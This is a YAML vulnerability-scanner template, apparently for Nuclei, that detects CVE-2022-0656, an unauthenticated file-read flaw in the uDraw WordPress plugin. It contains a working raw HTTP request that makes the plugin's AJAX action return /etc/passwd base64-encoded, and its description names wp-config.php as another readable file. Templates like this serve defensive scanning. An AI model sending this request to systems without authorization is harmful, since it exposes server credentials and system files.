id: CVE-2022-0656

info:
  name: uDraw < 3.3.3 - Unauthenticated Arbitrary File Access
  author: akincibor
  severity: high
  description: The plugin does not validate the url parameter in its udraw_convert_url_to_base64 AJAX action (available to both unauthenticated and authenticated users) before using it in the file_get_contents function and returning its content base64 encoded in the response. As a result, unauthenticated users could read arbitrary files on the web server (such as /etc/passwd, wp-config.php etc).
  reference:
    - https://wpscan.com/vulnerability/925c4c28-ae94-4684-a365-5f1e34e6c151
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0656
  tags: cve,cve2022,wp,wordpress,lfi,udraw,wp-plugin,unauth

requests:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest

        action=udraw_convert_url_to_base64&url=/etc/passwd

    matchers-condition: and
    matchers:

      - type: word
        words:
          - "cm9vd" # root in base64
          - "data:image\\/;base64"
        condition: and

      - type: status
        status:
          - 200